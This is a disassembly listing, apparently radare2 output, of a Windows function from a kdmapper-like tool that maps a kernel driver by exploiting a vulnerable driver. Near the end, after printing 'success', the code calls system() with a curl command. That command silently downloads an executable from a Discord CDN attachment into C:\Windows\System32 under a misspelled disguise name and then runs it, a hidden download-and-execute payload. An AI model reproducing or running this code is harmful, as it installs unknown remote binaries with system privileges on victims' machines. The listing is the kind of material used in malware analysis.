Function at 0x140029113
Capabilities:
Execute command

Disassembly:
jmp 0x140053f50
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
sub rsp, 0x6b0
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x108
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x6d8]
mov rax, qword [0x1400a7058]
xor rax, rbp
mov qword [rbp + 0x650], rax
lea rcx, [0x1400b72b8]
call fcn.14002a969
lea rcx, [0x14002a4f0]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea r8, str.free
mov rdx, qword [rbp + 0x688]
mov ecx, dword [rbp + 0x680]
call fcn.140029172
test eax, eax
jle 0x140053fd3
mov dword [rbp + 0x604], 1
jmp 0x140053fdd
mov dword [rbp + 0x604], 0
movzx eax, byte [rbp + 0x604]
mov byte [rbp + 4], al
lea r8, [0x140097570]
mov rdx, qword [rbp + 0x688]
mov ecx, dword [rbp + 0x680]
call fcn.140029172
test eax, eax
jle 0x140054010
mov dword [rbp + 0x604], 1
jmp 0x14005401a
mov dword [rbp + 0x604], 0
movzx eax, byte [rbp + 0x604]
mov byte [rbp + 0x24], al
lea r8, str.PassAllocationPtr
mov rdx, qword [rbp + 0x688]
mov ecx, dword [rbp + 0x680]
call fcn.140029172
test eax, eax
jle 0x14005404d
mov dword [rbp + 0x604], 1
jmp 0x140054057
mov dword [rbp + 0x604], 0
movzx eax, byte [rbp + 0x604]
mov byte [rbp + 0x44], al
movzx eax, byte [rbp + 4]
test eax, eax
je 0x140054097
lea rdx, str.___Free_pool_memory_after_usage_enabled
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140029d1b
mov qword [rbp + 0x608], rax
lea rdx, [0x140029c7b]
mov rcx, qword [rbp + 0x608]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
movzx eax, byte [rbp + 0x24]
test eax, eax
je 0x1400540cd
lea rdx, str.___Mdl_memory_usage_enabled
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140029d1b
mov qword [rbp + 0x608], rax
lea rdx, [0x140029c7b]
mov rcx, qword [rbp + 0x608]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
movzx eax, byte [rbp + 0x44]
test eax, eax
je 0x140054103
lea rdx, str.___Pass_Allocation_Ptr_as_first_param_enabled
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140029d1b
mov qword [rbp + 0x608], rax
lea rdx, [0x140029c7b]
mov rcx, qword [rbp + 0x608]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov dword [rbp + 0x64], 0xffffffff
mov dword [rbp + 0x84], 1
jmp 0x140054124
mov eax, dword [rbp + 0x84]
inc eax
mov dword [rbp + 0x84], eax
mov eax, dword [rbp + 0x680]
cmp dword [rbp + 0x84], eax
jge 0x140054256
movsxd rax, dword [rbp + 0x84]
mov rcx, qword [rbp + 0x688]
lea rax, [rcx + rax*8]
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x3a8]
call fcn.1400293c0
mov qword [rbp + 0x608], rax
mov rax, qword [rbp + 0x608]
mov qword [rbp + 0x610], rax
mov rax, qword [rbp + 0x610]
mov qword [rbp + 0x618], rax
lea rdx, [rbp + 0x3e8]
mov rcx, qword [rbp + 0x618]
call fcn.14002948d
mov qword [rbp + 0x620], rax
mov rax, qword [rbp + 0x620]
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
mov qword [rbp + 0x630], rax
lea rdx, [rbp + 0x428]
mov rcx, qword [rbp + 0x630]
call fcn.1400294a6
mov qword [rbp + 0x638], rax
mov rax, qword [rbp + 0x638]
mov qword [rbp + 0x640], rax
lea rdx, str..sys
mov rcx, qword [rbp + 0x640]
call fcn.140029ec4
test eax, eax
jne 0x1400541fe
mov dword [rbp + 0x648], 1
jmp 0x140054208
mov dword [rbp + 0x648], 0
movzx eax, byte [rbp + 0x648]
mov byte [rbp + 0x384], al
lea rcx, [rbp + 0x428]
call fcn.14002950f
nop
lea rcx, [rbp + 0x3e8]
call fcn.14002a720
nop
lea rcx, [rbp + 0x3a8]
call fcn.14002a720
movzx eax, byte [rbp + 0x384]
test eax, eax
je 0x140054251
mov eax, dword [rbp + 0x84]
mov dword [rbp + 0x64], eax
jmp 0x140054256
jmp 0x140054116
cmp dword [rbp + 0x64], 0
jg 0x14005426b
call fcn.14002aaae
mov eax, 0xffffffff
jmp 0x140054641
movsxd rax, dword [rbp + 0x64]
mov rcx, qword [rbp + 0x688]
mov rdx, qword [rcx + rax*8]
lea rcx, [rbp + 0xa8]
call fcn.14002987a
nop
xor r8d, r8d
lea rdx, [rbp + 0xa8]
lea rcx, [rbp + 0x488]
call fcn.140029190
nop
lea rcx, [rbp + 0x488]
call fcn.140029b7c
movzx eax, al
test eax, eax
jne 0x1400542bd
mov dword [rbp + 0x604], 1
jmp 0x1400542c7
mov dword [rbp + 0x604], 0
movzx eax, byte [rbp + 0x604]
mov byte [rbp + 0x464], al
lea rcx, [rbp + 0x488]
call fcn.14002a720
movzx eax, byte [rbp + 0x464]
test eax, eax
je 0x140054358
lea rdx, str.____File
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140029d1b
lea rdx, [rbp + 0xa8]
mov rcx, rax
call fcn.140029eb0
lea rdx, str._doesnt_exist
mov rcx, rax
call fcn.140029d1b
mov qword [rbp + 0x608], rax
lea rdx, [0x140029c7b]
mov rcx, qword [rbp + 0x608]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov dword [rbp + 0x4c4], 0xffffffff
lea rcx, [rbp + 0xa8]
call fcn.14002a581
mov eax, dword [rbp + 0x4c4]
jmp 0x140054641
call fcn.14002a8d3
mov qword [0x1400aa510], rax
cmp qword [0x1400aa510], 0xffffffffffffffff
jne 0x14005438f
mov dword [rbp + 0x4e4], 0xffffffff
lea rcx, [rbp + 0xa8]
call fcn.14002a581
mov eax, dword [rbp + 0x4e4]
jmp 0x140054641
mov edx, 0x20
lea rcx, [rbp + 0xe8]
call fcn.14002919f
lea rcx, [rbp + 0x504]
call fcn.140029bf4
mov qword [rbp + 0x608], rax
mov byte [rbp + 0x5f4], 0
lea rax, [rbp + 0x5f5]
mov r8, rax
lea rdx, [rbp + 0x5f4]
lea rcx, [rbp + 0x528]
call fcn.140029b31
lea rcx, [rbp + 0x558]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x5d0]
lea rcx, [rbp + 0x558]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov r8, qword [rbp + 0x608]
lea rdx, [rbp + 0x5d0]
lea rcx, [rbp + 0xe8]
call fcn.14002a3a6
nop
lea rdx, [rbp + 0xe8]
lea rcx, [rbp + 0xa8]
call fcn.1400298ca
movzx eax, al
test eax, eax
jne 0x1400544a3
lea rdx, str.____Failed_to_read_image_to_memory
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140029d1b
mov qword [rbp + 0x608], rax
lea rdx, [0x140029c7b]
mov rcx, qword [rbp + 0x608]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, qword [0x1400aa510]
call fcn.14002a789
mov dword [rbp + 0x584], 0xffffffff
lea rcx, [rbp + 0xe8]
call fcn.1400297cb
nop
lea rcx, [rbp + 0xa8]
call fcn.14002a581
mov eax, dword [rbp + 0x584]
jmp 0x140054641
mov dword [rbp + 0x124], 0
lea rcx, [rbp + 0xe8]
call fcn.14002ab58
mov qword [rbp + 0x608], rax
mov rax, qword [0x1400aa510]
mov qword [rbp + 0x610], rax
lea rax, [rbp + 0x124]
mov qword [rsp + 0x48], rax
lea rax, [0x140029717]
mov qword [rsp + 0x40], rax
movzx eax, byte [rbp + 0x44]
mov byte [rsp + 0x38], al
movzx eax, byte [rbp + 0x24]
mov byte [rsp + 0x30], al
mov byte [rsp + 0x28], 1
movzx eax, byte [rbp + 4]
mov byte [rsp + 0x20], al
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x608]
mov rcx, qword [rbp + 0x610]
call fcn.14002a888
test rax, rax
jne 0x140054598
lea rdx, str.____Failed_to_map
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140029d1b
lea rdx, [rbp + 0xa8]
mov rcx, rax
call fcn.140029eb0
mov qword [rbp + 0x608], rax
lea rdx, [0x140029c7b]
mov rcx, qword [rbp + 0x608]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, qword [0x1400aa510]
call fcn.14002a789
mov dword [rbp + 0x5a4], 0xffffffff
lea rcx, [rbp + 0xe8]
call fcn.1400297cb
nop
lea rcx, [rbp + 0xa8]
call fcn.14002a581
mov eax, dword [rbp + 0x5a4]
jmp 0x140054641
mov rcx, qword [0x1400aa510]
call fcn.14002a789
movzx eax, al
test eax, eax
jne 0x1400545d9
lea rdx, str.____Warning_failed_to_fully_unload_vulnerable_driver
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140029d1b
mov qword [rbp + 0x608], rax
lea rdx, [0x140029c7b]
mov rcx, qword [rbp + 0x608]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___success
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140029d1b
mov qword [rbp + 0x608], rax
lea rdx, [0x140029c7b]
mov rcx, qword [rbp + 0x608]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1109503024260460615_1112052489009762425_kdmapper.exe___output_C:WindowsSystem32_readimagemeoryfialed94.exe__nul_2_1
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.C:WindowsSystem32_readimagemeoryfialed94.exe
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, [rbp + 0xe8]
call fcn.1400297cb
nop
lea rcx, [rbp + 0xa8]
call fcn.14002a581
jmp 0x14005463f
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x140096a50]
call fcn.14002a4e1
mov rax, rdi
mov rcx, qword [rbp + 0x650]
xor rcx, rbp
call fcn.140029c5d
lea rsp, [rbp + 0x660]
pop rdi
pop rsi
pop rbp
ret